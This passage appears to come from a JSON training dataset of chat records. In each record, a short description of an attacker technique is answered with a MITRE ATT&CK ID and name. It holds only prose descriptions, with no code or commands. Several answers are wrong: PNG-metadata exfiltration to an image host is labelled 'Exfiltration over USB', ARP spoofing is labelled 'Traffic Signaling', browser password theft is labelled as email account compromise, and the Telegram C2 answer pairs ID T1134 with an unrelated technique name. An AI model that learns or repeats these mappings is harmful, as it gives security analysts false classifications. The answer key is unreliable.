                "content": "To evade detection, the malware inflates its binary by adding non‑functional padding bytes throughout the file."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group obtains a domain and sets up subdomains for staging exfiltration tools."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise drops a malicious unit file that uses ExecStartPre to download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a Docker Swarm service with a scheduled task to execute a reverse shell on compromised nodes."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary performs Kerberoasting by querying for service principal names, retrieving the encrypted tickets, and cracking them offline to gain credential access."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects a library into the LSASS process and hooks the GetPasswordHash API to capture user credentials as they are entered."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload uses an algorithm to create domain names that resemble legitimate services, changing the domain each hour to avoid blacklisting."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor deployed a malicious Python script to enumerate user directories and exfiltrate configuration files."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software utilizes the Telegram Bot API to receive commands via messages sent to a specific bot account."
            },
            {
                "role": "assistant",
                "content": "T1134 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a web shell to exfiltrate data by issuing wget commands to download files to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fileless infection uses PowerShell to resolve the function 'Invoke-Command' dynamically via the .NET assembly loader, bypassing static analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed \"sc create\" to install a new Windows service named \"svchost\" that launches a malicious PowerShell script with SYSTEM rights."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder scripts the IBM Cloud API to instantiate a new VM, configuring it with compromised credentials."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups obtain code signing certificates through a supply chain compromise and use them to sign backdoor implants."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies a legitimate .timer file to include a command that exfiltrates logs every night."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary edits the ~/Library/Preferences/com.example.app.plist to inject malicious configuration values and achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uses an invalid code signature to masquerade as a signed system utility, evading application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes a Twitter handle that claims to be a reputable tech news source, then tweets malicious URLs to lure users."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leveraged compromised network infrastructure to perform ARP spoofing, redirecting internal LAN traffic to a man-in-the-middle proxy."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited misconfigured firewall rules to reach a victim's SMB port, accessed the C$ share, and placed a backdoor executable that was later invoked by a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By taking advantage of an unpatched CVE in a third‑party library, the threat actor escalates privileges and circumvents endpoint protection mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create an unauthorized trust between the victim domain and a malicious attacker-controlled domain."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber attacker uses VMware Cloud on AWS PowerCLI to revert a compromised VM by reverting to a snapshot taken before the intrusion occurred."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit an AWS Lambda function with overly permissive IAM roles, using it to enumerate S3 buckets and exfiltrate their contents during each function invocation."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the Windows API to call NetGroupEnum, gathering a list of domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set implements a symmetric encryption scheme over DNS queries to conceal command instructions from network monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set runs a PowerShell script that extracts details about connected USB hubs and storage devices to assess exfiltration opportunities."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed the cloud provider's snapshot API to create a copy of a virtual machine for persistence."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scans public certificate transparency logs and domain reputation databases to locate valid SSL/TLS certificates for the victim's domains."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a hardware vulnerability to disable the secure boot process, which also disables the integrated crypto module."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a compromised cloud service account to install a cryptocurrency miner on multiple virtual machines."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor accessed the network through a pre‑installed service account that was never disabled."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a DNS redirect that points users to a malicious replica of the corporate web portal, harvesting their login details."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a secure erase of the hard drive by issuing ATA command for destructive wipe."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential harvesting tool scrapes login details from a compromised web browser’s saved passwords, targeting email services."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage a compromised service account to push stolen files to an attacker‑controlled Azure Blob storage container."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed commands in legitimate social media posts to exfiltrate data when standard exfil channels are monitored."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a legitimate VPN tunnel, encrypting exfiltration data with a symmetric cipher before sending it, thus avoiding detection as a separate C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the Linux 'import' utility from ImageMagick to capture the graphical display and upload the file to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a vulnerable PDF upload feature to embed malicious JavaScript that runs when the document is viewed in the browser."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor triggers a denial‑of‑service on the target workstation by exploiting a vulnerable system service to cause a crash."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use WMI queries to execute commands on remote computers in the same subnet."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a legitimate patching tool to apply a crafted update that overwrites the bootloader with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the CreateRemoteThread method, the threat actor forces a target process to load a malicious DLL, achieving process injection."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder extracts the victim’s domain controller configuration to discover domain policies."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a known vulnerability to force an elevation prompt, and after the victim accepts, it installs a root-level rootkit."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom implant polls an attacker‑controlled API endpoint for command strings and executes them using the system's default command interpreter."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs a .vbs script that reads credentials from memory and writes them to an exfiltration file on a cloud storage service."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping is performed by remotely accessing the target system's LSASS through a compromised remote desktop session."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaces the server's RSA keys with 512-bit keys, weakening the cryptographic protection of data in transit."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a hijacked OpenStack token, the intruder provisioned extra compute nodes and attached malicious Docker images."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool calls CredRead to retrieve stored credentials from Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT actors edited the domain trust settings to grant their own domain read access to the victim's AD database."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape CDN provider APIs for cached content and configuration details to map the victim's web services."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the Run key (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) to add a reference to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker tries to evade detection by using anti-forensic tools, what is the relevant MITRE ATT&CK ID and Name?"
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates data by embedding Base64‑encoded payloads inside PNG image metadata uploaded to an image hosting site."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor sets up a C2 channel using encrypted WebSocket connections to bypass firewalls."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abused a publicly disclosed vulnerability in a cloud management console to bypass authentication and gain admin access."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue setup.exe is designed to execute a payload via a custom action defined in the installer’s XML configuration."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the system's password hashing routine with a custom reversible encryption algorithm, allowing them to encrypt passwords and later decrypt them to obtain plaintext credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates an at job that triggers a reverse shell connection to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes a remote connection via Distributed Component Object Model to execute commands on a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows built-in tool \"regsvr32.exe\" to load a malicious JavaScript file disguised as a DLL, causing the script to be executed as a proxy for the real malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post-compromise, the group downloads the entire source tree from a Mercurial repository using the hg clone command."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker assigns extra cloud IAM roles to a service account to enumerate resources across the environment."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool queries the Microsoft Office Credential Manager for stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code utilizes a kernel module to duplicate network traffic, exfiltrating the copies to an external C2 server."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the Linux X11 XGetImage function to capture the display buffer and writes the result to /tmp/screenshot.png."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages a man-in-the-middle (MitM) attack to intercept and alter communication between two parties in order to steal sensitive information or inject malware."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary abuses the 'sudo' command to obtain elevated credentials on Linux systems."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary places a malicious compiled HTML Help file on a shared drive; when accessed, it leverages the hh.exe binary to run a credential‑dumping tool."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Researchers collect timestamps from the victim’s public API responses to infer routine transaction processing times."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor duplicated the legitimate Windows service name \"TrustedInstaller\" for its malicious service, allowing it to run without raising suspicion."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a scenario where an adversary conducts network sniffing to gather information about a target's network traffic, provide the corresponding MITRE ATT&CK ID and Name."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
